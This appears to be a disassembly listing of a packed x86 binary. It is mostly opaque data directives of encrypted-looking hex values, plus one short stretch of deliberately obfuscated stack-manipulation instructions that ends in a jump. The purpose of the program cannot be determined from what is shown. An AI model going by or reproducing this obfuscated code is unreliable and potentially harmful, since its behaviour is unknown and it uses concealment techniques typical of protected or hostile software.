		dd 2EE680DAh, 1C029CD4h, 0C6270E03h, 398289Fh, 0A7CD3733h
		dd 6AD550Dh, 0C96374FCh, 0A98C8130h, 0E226F7Dh,	485901E6h
		dd 0CB37F951h, 0D928F6A5h, 1910AB95h, 189B67BFh, 32A18BCFh
		dd 1F1C05CDh, 5061720Ch, 6C04FEB6h, 877B4982h, 7A353515h
		dd 2233001Ah, 2B0AFF38h, 8C22700Dh, 0E3191021h,	0E796458Eh
		dd 2D549202h, 6F98FD38h, 7257C222h, 837A8CC3h, 46321C1Eh
		dd 0A79CA524h, 289A4E8Eh, 6B5C631h, 44DD8321h, 0C290A651h
		dd 0AB463040h, 0BCD65AB4h, 610FF3C9h, 270E03B2h, 98289A66h
		dd 7C2C362Dh, 3A2FDE27h, 2A7060D8h, 8EE61EECh, 0A01209A4h
		dd 49B88635h, 0A9A03B25h, 0BB48164Fh, 3B32CDB7h, 0BC6B05FDh
		dd 8D3AA6D7h, 0B1540B62h, 2F40DBC5h, 7F86DE38h,	4CB50DF7h
		dd 0A0AA3822h, 5CFE94ADh, 0FD469B69h, 0DAB9594Eh, 9A492445h
		dd 4F3935CCh, 0E576BFB4h, 0DE492899h, 0E4FB3A2Fh, 51BC2899h
		dd 0E37DE85Ah, 0AF99D72Bh, 7D3FA876h, 99E5AD88h, 96A71228h
		dd 0D486619Fh, 594C66EAh, 57F17F83h, 5A0952A7h,	6FB6D565h
		dd 957FEA2Ah, 0C1ABC53Dh, 7930233Dh, 4F1D5BABh,	8FC5BCB2h
		dd 4D42F13Ah, 2445A8EDh, 34CD67D2h, 5D51E4Fh, 0F06FF5Dh
		dd 8C3B84D9h, 89D8F897h, 0A150BB2Ah, 49402ED3h,	1207B6EFh
		dd 228A2123h, 0F4322994h, 0E5B3620Eh, 57615802h, 7A6F639Fh
		dd 228A20BBh, 0B7A1D530h, 9EAF1A1Ch, 0E3AC35B4h, 3DDF59B7h
		dd 0E8E744Ah, 0E6317770h, 0EA849561h, 0F2808351h, 38766D08h
		dd 83BCA6CAh, 0AA56DFD4h, 0FE699E57h, 3B3DC907h, 6709F951h
		dd 0D7DE257Dh, 4A34452Bh, 0AA191C11h, 339E9E57h, 0D6EFE272h
		dd 0C3DEC3DCh, 0F8953E79h, 36294940h, 1FCEA260h, 4F496A3Ah
		dd 0F0E716D0h, 837F4DE6h, 59AB03EDh, 8596311Bh,	0BEB2508Eh
		dd 0B4A6410Fh, 31763BDh, 55000000h, 0B137D62Eh,	9969C1ABh
		dd 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h,	0B551A993h
		dd 8281D9C3h, 53AE06F0h, 6816311Bh, 537Bh, 68242C89h, 2BACh
		dd 68243C89h, 9D7h, 68240C89h, 630361Ch, 83243C8Bh, 0EC8104C4h
		dd 4, 81242489h, 42404h, 55590000h, 242C8157h, 3A3E1D27h
		dd 27C5815Dh, 893A3E1Dh, 0FF5D0869h, 83592434h,	3C8B04C4h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 31F0E95Ch
		dd 0B85DFFFAh, 6304BD3h, 0E0FFC503h, 4C1353D7h,	3E4F1E40h
		dd 5950629Bh, 27038CA6h, 199E2843h, 3F402C0Eh, 24117DDEh
		dd 7ED18192h, 296BC768h, 7DDFFD8Ch, 1327E5B8h, 74BC1677h
		dd 0A9F221Ch, 1596E9E4h, 1EF81B7Eh, 53C735C6h, 75904F84h
		dd 7321286Dh, 11720868h, 66192051h, 33365DD1h, 7F42262Ah
		dd 0CB1BEC9h, 295435C1h, 3837C71Bh, 161E69C3h, 21CE8022h
		dd 3A321946h, 17374A01h, 50B41C80h, 2156358Ch, 1EEF8DD0h
		dd 0FE8h, 6178500h, 67BDC4C5h, 813BF4F1h, 0C12236Dh, 0CED9D081h
		dd 665B70B0h, 22A1E881h, 604CC381h, 10E80000h, 0C8000000h
		dd 7AA52882h, 746DD8C6h, 0EE546464h, 8BEA1002h,	0C92B5AD1h
		dd 3C8BC68Bh, 12E90Bh, 0B1720000h, 56F0FF30h, 3ADF6E39h
		dd 441851F1h, 0FE5795B4h, 7ABFC781h, 81F90FE4h,	7BDACCEFh
		dd 13E68031h, 0F5E8EF81h, 21B86557h, 8975E3EAh,	0D7BE0B3Ch
		dd 804C1AA4h, 0E981F9D4h, 278B78F3h, 81F28B66h,	8B78EFC1h
		dd 0F5D88127h, 810BA942h, 0FFA050F9h, 9F850FFFh, 8BFFFFFFh
		dd 0DE8D3h
		dd 0EE720000h, 4874610h, 82BC40A2h, 663F1794h, 930AF281h
		dd 81DA8B5Fh, 66ACC7h, 0C92BF500h, 34FFD78Bh, 1A810F39h
		dd 0F000000h, 148Eh, 0FE900h, 0ADE20000h, 3BC0955Fh, 2D146ACDh
		dd 0BF53E3DFh, 8B665845h, 0C4F081F0h, 0F680F45h, 180h
		dd 0C081F900h, 1EC1E3E6h, 817AE780h, 4F664DE8h,	89F28B22h
		dd 0D88B0F04h, 8318C380h, 880F04E9h, 5,	0FFEA8166h, 0F981F2h
		dd 0FFFFF9Ah, 1285h, 0B1BE6600h, 20E942h, 95420000h, 9300F7D5h
		dd 66F4E7E3h, 556DCB81h, 0FFFF7DE9h, 0E854DEFFh, 1A3404C1h
		dd 7CF98AF4h, 8D8DDD3Dh, 6304EE2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5CC35646h, 5BBD10CBh, 24F9858Bh
		dd 8D89062Ah, 62A3395h,	13298D89h, 85C7062Ah, 62A0BF9h
		dd 6970h, 68C0Fh, 0BD890000h, 62A23A1h,	6C585C7h, 62Ah
		dd 9D890000h, 62A1061h,	20A18501h, 0B5FF062Ah, 62A0311h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 7DC35040h
		dd 0BAD95F81h, 0E774676h, 95FFF88Bh, 62A05C1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D3C35343h, 0C6A71414h
		dd 0CDBD8923h, 6A062A32h, 3995FF00h, 8B062A34h,	0B00DEBC0h
		dd 0A2848D94h, 3138EC0h, 14F8A24Ch, 93E9h, 0CAE7B00h, 0F5CC476Bh
		dd 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch, 0A9E57200h
		dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh
		dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh,	0F496B99Dh
		dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h
		dd 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh,	0BBEFB69Fh
		dd 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh, 0E09h
		dd 5 dup(0)
		dd 106EE9h, 51856800h, 8FE90630h, 68FFFA2Eh, 6305275h
		dd 0FA2E85E9h, 536368FFh, 7BE90630h, 68FFFA2Eh,	63054BBh
		dd 0FA2E71E9h, 552068FFh, 67E90630h, 68FFFA2Eh,	6305603h
		dd 0FA2E5DE9h, 56AC68FFh, 53E90630h, 68FFFA2Eh,	630576Bh
		dd 0FA2E49E9h, 583968FFh, 3FE90630h, 68FFFA2Eh,	6305913h
		dd 0FA2E35E9h, 59D368FFh, 2BE90630h, 68FFFA2Eh,	6305AF0h
		dd 0FA2E21E9h, 5D5D68FFh, 17E90630h, 68FFFA2Eh,	6305E8Fh
		dd 0FA2E0DE9h, 8ECE1AFFh, 0A9C53CF4h, 0C6AC570Fh, 0E692742Ch
		dd 470944Ch, 40C48E6Ah,	5E16B0C4h, 7D35CFA7h, 9E56F06Ah
		dd 8C720C64h, 0CDB77E73h, 7308289Fh, 0B2A756A3h, 226F7D83h
		dd 7DA39287h, 0A914226Fh, 8CA99EA7h, 33226F7Dh,	82C0B7C8h
		dd 0AE06F080h, 72364854h, 3FE1189Fh, 0D1E29471h, 0B77E7322h
		dd 822702Ch, 0EC9CA69Dh, 0AA9F4E97h, 244608C0h,	0F32C1681h
		dd 95A09544h, 2A289A08h, 86BCABFh, 0E14C289Ah, 8B485EAh
		dd 0C3C289Ah, 949D2D19h, 3233D911h, 6B000000h, 1EE4EA3Fh
		dd 18026C95h, 0E7826C7Dh, 803227D6h, 41244556h,	0A6F24338h
		dd 5AC52899h, 59E05F49h, 972899A7h, 42887467h, 8ED91138h
		dd 0E1h, 0A5CB37C6h, 0D3A163BBh, 0FF7191E9h, 5BF7DC15h
		dd 744ED8DCh, 0BC46847Bh, 993B1AB4h, 0AD227074h, 752C09FEh
		dd 28932270h, 610FF331h, 7DF30FC7h, 73E700CEh, 7DD2227Ch
		dd 27D68534h, 70750332h, 5449B422h, 227074E1h, 55746BD6h
		dd 46535260h, 0BE476F24h, 0A095CEB8h, 289A5C95h, 9DAEBF2Ah
		dd 0B5FE5303h, 0D3625706h, 0E4289A5Bh, 6E638279h, 2A6EA6E4h
		dd 0B583329Dh, 9176254Fh, 0BCD253D5h, 37672D35h, 0C655270Ch
		dd 0D27DEF3Eh, 5166FE7h, 0B84C040Eh, 320DB6BCh,	0E23C6464h
		dd 0DDE96h, 2636B200h, 412DD48Ch, 5E14EFA7h, 7EFA0CC4h
		dd 9CD82CE4h, 0D85C2602h, 0F6AE482Ch, 15CD670Fh, 36EE88D2h
		dd 240AA4CCh, 0CE1F160Bh, 0BA0289Fh, 0A7CD373Bh, 0C3AD550Dh
		dd 41C29029h, 0B5AC4731h, 0A1EA3F5Dh, 56B5FDF2h, 8FFA2445h
		dd 83F312E0h, 86B3328Ch, 6D2899A7h, 9AF2DC96h, 0D41F0969h
		dd 67385144h, 72584437h, 50D91137h, 595B026Bh, 0F5EC0F1Fh
		dd 0B1E4h, 0CB371C00h, 0A163BBA5h, 0E2B0E9D3h, 0F8675121h
		dd 0F638573Dh, 0B48293E8h, 0A23D2733h, 0FE8E46ABh, 0A75B226Fh
		dd 8B772FC9h, 0AC96DA28h, 0B0BE4311h, 1065B59Fh, 8F2318C7h
		dd 832445DDh, 0E40CF49Eh, 0CF6A5420h, 4835A5EAh, 3ED6D7Ah
		dd 94FF7168h, 247C61FAh, 149D198Eh, 6CC1F7EEh, 0E27F7423h
		dd 5D2A6E41h, 8F7543F2h, 71934BE5h, 0F6D0FD03h,	1F796463h
		dd 0CEED3h, 3626C200h, 511DE49Ch, 6E04FFB7h, 8EEA1CD4h
		dd 0ACC83CF4h, 0E86C3612h, 6BE581Ch, 25DD77FFh,	46FE98C2h
		dd 341AB4BCh, 0CF0F261Bh, 1BB0289Fh, 0A7CD374Bh, 0C3AD550Dh
		dd 0CB375729h, 0BA886DD1h, 7283DF4Ah, 9ED23088h, 0C7BC6B04h
		dd 22700E6Eh, 0B1EFE651h, 0FD362052h, 426C7318h, 19E775B6h
		dd 549289EBh, 4F28C2AEh, 317ACF4Bh, 57DED382h, 68226F98h
		dd 0F2E706FDh, 24457700h, 0C5706514h, 0FA2899B8h, 0BB26988Fh
		dd 0CD685D0Ch, 0F22899B8h, 82679087h, 0DC0F8AB8h, 0F8A7F045h
		dd 0F5956449h, 0F77CB9AEh, 0D843140Fh, 5E73AF3h, 0EC0DA90Eh
		dd 200515E5h, 71AD88D8h, 0F7818537h, 127DEFE6h,	4B40EF28h
		dd 19F9D3EAh, 356B62CDh, 39E897E0h, 0E4DB996Bh,	0CD55137Fh
		dd 9241AC1Bh, 98323EC4h, 484E22E0h, 5605098Fh, 1460BAh
		dd 0D400000Ch, 0F6AE4814h, 11C9630Bh, 2EE680F2h, 4E06A0D8h
		dd 4824BEB6h, 6A0AFA7Eh, 89ED18D0h, 0AAB037EFh,	0C6AA5810h
		dd 382D462Ch, 289FCFFDh, 375D2DC2h, 28F6A5CBh, 11AC96DAh
		dd 1B70C01Ah, 0C82E23D2h, 0CC24456Fh, 900D281Dh, 47B22899h
		dd 50B6DE50h, 0CD7D1728h, 0FC305B78h, 0DB58940Bh, 0FC261BCAh
		dd 0B52A6F8Ah, 58E1604Ah, 98226F93h, 0B699B69h,	1501F414h
		dd 0D2E723B5h, 5B1Bh, 0EA3F5300h, 0F60DF2A1h, 620769AEh
		dd 190E2D24h, 2445408Fh, 861EE810h, 691F9F32h, 6E1D2E64h
		dd 99A7BC79h, 87980328h, 7DDD0AD8h, 0A83704E3h,	46BC2899h
		dd 0FD8902Ah, 2FB79C4Bh, 0ADA28479h, 0A3A8B8EBh, 8C9DAD02h
		dd 34023B95h, 1CB7A1CDh, 0B2DF325h, 9C6A0000h, 0BA120965h
		dd 275F8856h, 0C22B6368h, 0F2DCEDA6h, 0D52A6057h, 0F40FDD8Ch
		dd 442E40C1h, 13AE98A9h, 804EFD1Ch, 97FCF367h, 24601EB8h
		dd 9361107Bh, 6D52016Fh, 52EF9370h, 0A4AEA59Dh,	0D7C53D0Bh
		dd 782915CAh, 382233F0h, 9A68A69Dh, 479CECD6h, 645A4FFEh
		dd 252A8FB1h, 0C53D0BBAh, 0AA7811ABh, 0CDA75D5Ah, 403748E3h
		dd 86700002h, 0E998E136h, 45A576F4h, 0BAC02B24h, 6A877127h
		dd 0A87CC822h, 7C00000Ah, 9E56F06Ch, 0B9710B63h, 0D68E284Ah
		dd 0F6AE4830h, 0F0CC660Eh, 1262A226h, 3145C078h, 5208DF97h
		dd 6E0200B8h, 0E0D5EED4h, 289FD155h, 1005D56Ah,	226F7D29h
		dd 85347DD2h, 5F34A690h, 1B01B24h, 0F7638452h, 3040C200h
		dd 4C24DE96h, 74BD1262h, 0BF26D0C5h, 309B2A75h,	778FC12Ah
		dd 0E22E8864h, 0A43h, 0F18BD117h, 0CA6C839h, 29C3AF54h
		dd 49E39571h, 67017391h, 0C73DC18Bh, 0AA5B13ADh, 6D7A32CCh
		dd 679B53EDh, 70896F09h, 9FD1BA7Bh, 9868FD28h, 0BBA5CB37h
		dd 4EFD9F63h, 0C372676Fh, 0F4226F7Ch, 82C6A489h, 63E0CADBh
		dd 0AC91483Bh, 97761027h, 0EBC9AE4Bh, 11212CE5h, 0C5055950h
		dd 0BD2E787h, 4DFh, 100977Ch, 91656E73h, 0EA3F429Ah, 7D270E03h
		dd 0F6EB226Fh, 226F7D3Fh, 0A8131580h, 37F3E897h, 68245F34h
		dd 0BA9F4EFDh, 7FFEE11h, 7EC8771h, 8C8384E4h, 6FFB44Eh
		dd 0E2B05F70h, 0CA654F1Fh, 8130C9D3h, 0A067A98Ch, 1FE60E28h
		dd 114F4657h, 49ECE1F1h, 6E28A067h, 0D65F5403h,	0E928A066h
		dd 4836D7Eh, 28A06735h,	792871C6h, 765A7284h, 565CC72Ah
		dd 64782C9Fh, 600450AAh, 34000009h, 560EA8B4h, 7129C3ABh
		dd 8E46E092h, 0AE660078h, 0A8841E56h, 0CAAA5ADEh, 0E98D7830h
		dd 0A50974Fh, 264AB870h, 988DA68Ch, 289FD39Dh, 37BD8D22h
		dd 28F6A5CBh, 46A097DBh, 725C14EEh, 0EEDACDF5h,	0D2E709DCh
		dd 416F4h, 6B976500h, 56B60E05h, 2F97D88h, 6F7D9C9Dh, 0C10A5F22h
		dd 15E32D12h, 65CC2CBCh, 1E5A4F6Eh, 9F245FD8h, 6894A196h
		dd 0C02B28A0h, 6C5100AFh, 846017FDh, 608755CBh,	7E7510FAh
		dd 12F1C240h, 0CADB7660h, 0E68A7830h, 0E57ACFCh, 138C6A5Fh
		dd 0C22D2A76h, 77EA43BCh, 60AC0664h, 8B7h, 65FF5D8Bh, 801A54ADh
		dd 9D373BC8h, 0BD5721E5h, 0DB75FF05h, 53B135FFh, 36CF8721h
		dd 0F9EEA640h, 0F30FC761h, 0E4FDE37Dh, 9FD346EFh, 14E47928h
		dd 0BBA5CB37h, 6A33B482h, 55F0DA9Ah, 2C215A44h,	226F7D09h
		dd 3B3243AEh, 55AE05FDh, 29DB331Dh, 0B5C6614Bh,	6B551BE7h
		dd 58D5BFD0h, 0D4A26331h, 38584FEAh, 9715945h, 485FD2E7h
		dd 97000003h, 6F7D2710h, 367FD422h, 34D79287h, 0DD48245Fh
		dd 0FAA2602Eh, 1F0A6C2Fh, 8E3D4E4Fh, 382F43C0h,	0E48C762Eh
		dd 0A4918635h, 1B289FBDh, 0F5FB9B0h, 0DDC271BAh, 1F8D72B2h
		dd 3E5D5405h, 75D7D949h, 656BD62Ah, 6477AEA4h, 0F8FF4BA5h
		dd 0CC000007h, 0EEA6401Ch, 9C15B13h, 26DE78FAh,	46FE98E0h
		dd 401CB6BEh, 6212F276h, 81F510C8h, 0A2B82FE7h
		dd 0BEB25008h, 30253E24h, 289FD405h, 565525BAh,	7D83B2A7h
		dd 0C934226Fh, 7D10251Ah, 3CA7226Fh, 75FB0745h,	0A1CF338Bh
		dd 2C1F29B7h, 2AC4AC56h, 3442C391h, 7DA59085h, 0AF1A226Fh
		dd 0E6664B8h, 76AD2E7h,	0A2000000h, 28A43h, 27108100h
		dd 0D4226F7Dh, 9287367Fh, 245F34D6h, 7E2DDC47h,	2B2256B0h
		dd 0C15B15EDh, 0C877F909h, 71019AE3h, 180F08ECh, 32196EBEh
		dd 0A003F83Dh, 4354BF28h, 5136E594h, 0A2646383h, 0EB4A3F3Ah
		dd 0CC289FB1h, 78BDB261h, 3F289FB2h, 0AA78DDD4h, 0E72A75A1h
		dd 589D767Ch, 52AC6477h, 72A06h, 72EAFE00h, 8DE120D8h
		dd 0AAC83BF3h, 0CAAE5810h, 0E88C7830h, 24A8724Eh, 42FA94E0h
		dd 6119B3C3h, 823AD486h, 7056F080h, 0D4D36257h,	4FE4289Fh
		dd 0E8CB377Fh, 0D16C561Ah, 847ED6C0h, 57AA02ECh, 0C0984B43h
		dd 0EDFEA8DBh, 1D5BAB03h, 0A295AF33h, 0CD7C8589h, 70435DD8h
		dd 29F76222h, 12AD97D9h, 3208FB1Bh, 3806A0D0h, 0D2E7D392h
		dd 113Eh, 0B00AF00h, 2270372Ah,	0D32B228Dh, 1AA43h, 28108100h
		dd 0EC226F7Dh, 978EE61Eh, 14C30C61h, 5F34401Fh,	0E9980324h
		dd 9F968B3Ah, 20289FCCh, 8280BEB5h, 669C54EEh, 7BD0200Ah
		dd 948E8332h, 602A75BCh, 280D02B1h, 8F2289DCh, 0DC062F24h
		dd 4EB92289h, 0DC8BAA9Fh, 0C12C2289h, 0E7ED58CAh, 64779236h
		dd 506DB913h, 24000006h, 46FE98C4h, 6119B3BBh, 7E36D0A2h
		dd 9E56F088h, 98740E66h, 0BABA4ACEh, 0D99D6820h, 0FA60873Fh
		dd 165AA860h, 887D967Ch, 289FD6ADh, 56AD7D12h, 0DF77B88h
		dd 7D56DFD4h, 0FE69226Fh, 4AB8F6EDh, 1EE43C26h,	0D0DA6852h
		dd 75FB07DDh, 0DBD0DDBh, 713D2E7h, 4B000000h, 0F243h, 28108100h
		dd 0D5226F7Dh, 0EC8C7A80h, 0A7566702h, 9ADA2AF8h, 152015B0h
		dd 0AA226F7Dh, 9E7C5A3Fh, 702223BDh, 0F2655A79h, 85245FA1h
		dd 659D6B1Ah, 49B9710Bh, 55043D27h, 9F9DD560h, 887FEA28h
		dd 5B4FD52h, 1A88AB20h,	0F9F0F69Dh, 73DE5DAh, 5A822A76h
		dd 0B5BBCCACh, 6477BD72h, 90317DD7h, 64000005h,	863ED884h
		dd 0A159F37Bh, 0BE761062h, 0DE963048h, 0D8B44E26h, 0FA7A8A0Eh
		dd 195DA860h, 3A20C77Fh, 561AE8A0h, 0C8BDD6BCh,	289FD66Dh
		dd 56EDBD52h, 0F93A2E71h, 433A4311h, 8973FD05h,	0B59FD131h
		dd 542A1D27h, 0CC3F24AEh, 369C3703h, 0B73FF6EBh, 1580226Fh
		dd 2E9C6A04h, 0A2D2E748h, 7, 2943DAh, 37810000h, 591DE8CBh
		dd 48EFD46Fh, 7C9C1BBFh, 60B8A2B3h, 0C4E4CEA2h,	0A9592F22h
		dd 35812DC7h, 0F8000000h, 0B29CDC2Ah, 37C82017h, 231207CBh
		dd 94226F7Dh, 0BA664429h, 5B190CA7h, 0F7EC9B4Ah, 226FD43Eh
		dd 20224CB5h, 0E564BEB5h, 226FD455h, 4C2215B5h,	4E20BAB6h
		dd 0BBA5CB37h, 1ECD166Bh, 300B150h, 0D9EA856Fh,	81CEC3E2h
		dd 42245F34h, 0A85A28D7h, 8C762EC8h, 55AAFAE4h,	56685D0Ch
		dd 1B2A8F81h, 7B6513F3h, 5220CFE0h, 0E5B1ECB0h,	2AFC87ACh
		dd 3BC77F19h, 9518B261h, 6D7E98C5h, 95DE3383h, 6B79F1E6h
		dd 0BB262446h, 882B7CB5h, 2773CD6Ah, 473h, 21BBA147h, 3CD69869h
		dd 59F37F84h, 791365A1h, 973143C1h, 976DF1BBh, 7A8B43DDh
		dd 3DAA62FCh, 37CB831Dh, 0A0B99F39h, 9FD78AABh,	0C8982D28h
		dd 0FB5F8856h, 59A87611h, 22E01E15h, 6FCB44Eh, 0A1B55ADh
		dd 363AC820h, 2049A287h, 527B7340h, 0BDA2A75Bh,	150C19C7h
		dd 3F242DBBh, 62D49EEFh, 88A89F91h, 2D43BF95h, 0ED05C593h
		dd 51CBD2E7h, 3000000h,	80BC7156h, 9C6AD3ABh, 0D11A6FA5h
		dd 577B2D22h, 0E08F2445h, 99E84AEBh, 0B026D28h,	0B17F2E99h
		dd 0AB8A2436h, 2899E890h, 3019B67h, 0C8A65B63h,	0B86953E3h
		dd 35AF0B46h, 6071826Dh, 9E482DC6h, 0AEF87747h,	0DDA180Fh
		dd 0B017634Dh, 55000003h, 0F5798856h, 6D73C8FEh, 1DCCDD97h
		dd 457CD628h, 81309B24h, 0C19CD39Ch, 0AA452F41h, 0E198C2C5h
		dd 0CA3890EAh, 0FA9CBCA6h, 0ACA15007h, 289A5489h, 96CCC32Eh
		dd 5449F841h, 2A7053AAh, 3AEA84EFh, 3EED9CE5h, 549B9A8Fh
		dd 0B11C2270h, 53A955BAh, 83EE2446h, 0B1C34199h, 5C2A43C7h
		dd 0B8D8CF8Bh, 59A2F7C5h, 5449B5AAh, 0A30E2A70h, 0E55045F4h
		dd 0DA227053h, 0C32F8A6Fh, 7FC82E2Ah, 36E57E88h, 7043F441h
		dd 0B160CB22h, 704479BCh, 0DCD33E22h, 984F649Eh, 8EC7B1C2h
		dd 3B3246C0h, 0D16B05FDh, 97D6A38h, 0FE5CBEFBh,	180213E7h
		dd 0FB50867Dh, 5C0E03B2h, 0C5244601h, 96EC7BCh,	0E651289Ah
		dd 7586EA18h, 92D0C8Bh,	40C6289Ah, 0EF64E38h, 0A1317C66h
		dd 94C495AEh, 9615B5A1h, 48BBD911h, 0F3000000h,	0F2A1EA3Fh
		dd 4556B5FDh, 0FCF1FA24h, 2899A739h, 1802137Eh,	99A7A099h
		dd 23AF5328h, 99A7072Eh, 3C4DB828h, 6808FA52h, 0EC15E37Eh
		dd 6BA576AEh, 8FA01E4Fh, 0D7CA5AA5h, 0CABDEDBEh, 115EECDEh
		dd 0C5E4D9h, 371C0000h,	82BBA5CBh, 760005D3h, 39FCF18Ch
		dd 7E226F7Dh, 26DE1C13h, 0F60C644Eh, 0EAFDCB7Ah, 0E61F7970h
		dd 9289ED18h, 28C2AE54h, 6F788B49h, 5BA97722h, 964E3419h
		dd 7B4DDC9Fh, 0B4BC4684h, 13A0621Ah, 887283F1h,	0EB9AE338h
		dd 458944F6h, 78127D24h, 7B2A73C8h, 7652FB96h, 76718417h
		dd 4E5FFAE4h, 0A6433857h, 192A6EB3h, 0D331FFAEh, 0B54F07A1h
		dd 8A82B9BFh, 6DC76463h, 20621h, 4E0EDA00h, 6905FCB4h
		dd 86EC17CFh, 0A6D234ECh, 0C4B0540Ch, 844E2Ah, 1ED67004h
		dd 3DF58FE7h, 5E16B0AAh, 4C32CCA4h, 0D9F73E33h,	33C8289Fh
		dd 0A7CD3763h, 6AD550Dh, 508973FBh, 6F7CDA5Bh, 6172DD22h
		dd 56E4B650h, 18054F71h, 0A88D95BCh, 0AB087D8Dh, 51877EB0h
		dd 1F04B3FCh, 0D3624C21h, 0F4130AD2h, 0E88E7745h, 76C63FEh
		dd 244613ABh, 1CEA9904h, 49F89E5h, 534B30Dh, 0EB289A14h
		dd 0EEDCC8BBh, 0E2D911A4h, 0E7h, 86AFA453h, 39289A08h
		dd 377FD7CEh, 28F6A5CBh, 46A097DBh, 0AF5E16EEh,	5A5123E1h
		dd 79538100h, 713F226Fh, 5AF5DF91h, 93DD2563h, 0DDA5FFE4h
		dd 0E56DFD4h, 0FE692270h, 0C7AF8419h, 5F2DC6D0h, 9DDBD288h
		dd 0D1210B65h, 8F84337Ch, 244628ABh, 86A9967h, 9A349F11h
		dd 3A4B1C01h, 2C839132h, 8DAAFF35h, 1C423B5Dh, 750104ECh
		dd 75C0B564h, 4A289A20h, 2A1FCEDFh, 2A6E6820h, 0F9C776E1h
		dd 0F2FF950Bh, 4790B270h, 0C5A28736h, 0BDB2C4ADh, 55EEF8EFh
		dd 0FFF67C87h, 2B3143C1h, 6463E61Ah, 0D489D52Fh, 0A8000000h
		dd 0CA821C40h, 0E59D3737h, 2BA541Eh, 22DA7404h,	1CF892E2h
		dd 3E36CE52h, 5D19ECA4h, 7EDC0BC3h, 9AD62CE4h, 0C011A00h
		dd 289FDB29h, 3729F98Eh, 2AF8A7CDh, 17B29CDCh, 0A45E1620h
		dd 566032CCh, 675C7E88h, 226F7CCEh, 7E7586F1h, 0C4AEC240h
		dd 3606966Ch, 2C171BE8h, 0DD8D2738h, 9B903F88h,	245F9627h
		dd 0FBC6563Bh, 3E79712Bh, 739B9A8Fh, 0B11C28A0h, 0E22048BAh
		dd 3B09A48Eh, 28C3ADCBh, 2DD52D17h, 11F1A943h, 0EF6755Fh
		dd 7B5584A9h, 0DC594E8Ah, 0E38D7BB4h, 0E7D6778h, 42AE6EB3h
		dd 5EA573ACh, 929C2A14h, 4EF0869Fh, 0F37D855Bh,	0F61A159h
		dd 3F39CD25h, 0EAB8D155h, 0D5705A1Ah, 0F5CBBEDEh, 11C9630Dh
		dd 49957FF1h, 3, 37D62E87h, 69C1ABB1h, 95EDD799h, 0C61E0852h
		dd 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h,	0AE06F082h
		dd 16311B53h, 8904EC83h
		dd 0E189240Ch, 4C181h, 0E9830000h, 240C8704h, 79F9685Ch
		dd 34890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 630501Dh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	255Dh
		mov	[esp], esi
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 7Eh,	72h, 0B8h
		dd 6305F88h, 0E0FFC503h, 3717EE04h, 33DE73B6h, 0B0C63F8h
		dd 56106948h, 7E1CD7C6h, 3809F53Eh, 2086EBD8h, 711934F5h
		dd 156050A8h, 26C291A0h, 75D4158h, 25094504h, 0AB518DDh
		dd 298A2393h, 18DE9h, 0C4CD5F00h, 0D52C277Bh, 0B198D31Ah
		dd 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh
		dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch
		dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h
		dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh,	0BCFA9753h
		dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h	dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 3 dup(0)
		dd 0F9E90000h, 6800000Fh, 63063CBh, 0FAE779E9h,	64E268FFh
		dd 6FE90630h, 68FFFAE7h, 6306632h, 0FAE765E9h, 66C868FFh
		dd 5BE90630h, 68FFFAE7h, 6306847h, 0FAE751E9h, 693B68FFh
		dd 47E90630h, 68FFFAE7h, 6306A01h, 0FAE73DE9h, 6A9B68FFh
		dd 33E90630h, 68FFFAE7h, 6306B98h, 0FAE729E9h, 6C1C68FFh
		dd 1FE90630h, 68FFFAE7h, 6306CAFh, 0FAE715E9h, 6D7768FFh
		dd 0BE90630h, 68FFFAE7h, 6306E0Bh, 0FAE701E9h, 6F3D68FFh
		dd 0F7E90630h, 68FFFAE6h, 630702Eh, 0FAE6EDE9h,	0A73E70FFh
		dd 2EB9F60Eh, 0B70C7D95h, 4285061Eh, 0CE1591A9h, 0B56B5235h
		dd 4159F2F1h, 0C9E17A41h, 536B04DBh, 11F89156h,	0DBC74E64h
		dd 484216C5h, 1BA8DDB8h, 17AFA3F0h, 0EDF2BCDCh,	0FDA5F29Fh
		dd 936A1CEFh, 94535686h, 0D43B72FBh, 0B7457F95h, 6426231Fh
		dd 0AFDCEC39h, 0F4B5ED18h, 5204C4EFh, 6E840F45h, 0A4E516CBh
		dd 0C9BCF41Fh, 3EFACFFAh, 4E14DF5Dh, 0A04EAF3Fh, 0F033AEEh
		dd 98E6D1ADh, 1C0815F8h, 0C060897Fh, 466BA856h,	48737236h
		dd 33D15888h, 8A4C16CCh, 40927Dh, 6C3C0000h, 758BCA31h
		dd 23206873h, 62E99DADh, 0B1719C23h, 714D4FFh, 0CE0C37F9h
		dd 16CC1343h, 0D7D3E31Ah, 84170310h, 56FD5D84h,	545666A8h
